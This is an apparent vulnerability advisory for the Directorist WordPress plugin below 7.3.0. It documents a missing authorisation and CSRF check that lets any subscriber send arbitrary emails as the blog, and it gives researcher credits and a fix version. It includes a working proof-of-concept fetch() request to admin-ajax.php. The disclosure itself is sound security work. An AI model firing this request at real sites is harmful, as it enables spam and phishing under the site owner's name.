WordPress Plugin Vulnerabilities

Directorist < 7.3.0 - Subscriber+ Arbitrary E-mail Sending

Description

The plugin does not have authorisation and CSRF checks in an AJAX action, allowing any authenticated users to send arbitrary emails on behalf of the blog

Proof of Concept

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=atbdp_send_announcement&recipient=anyone@b.com&subject=subject&message=content&send_to_email=1",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

Fixed in 7.3.0

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-26 (about 1 years ago)
Added
2022-07-26 (about 1 years ago)
Last Updated
2023-04-24 (about 1 years ago)

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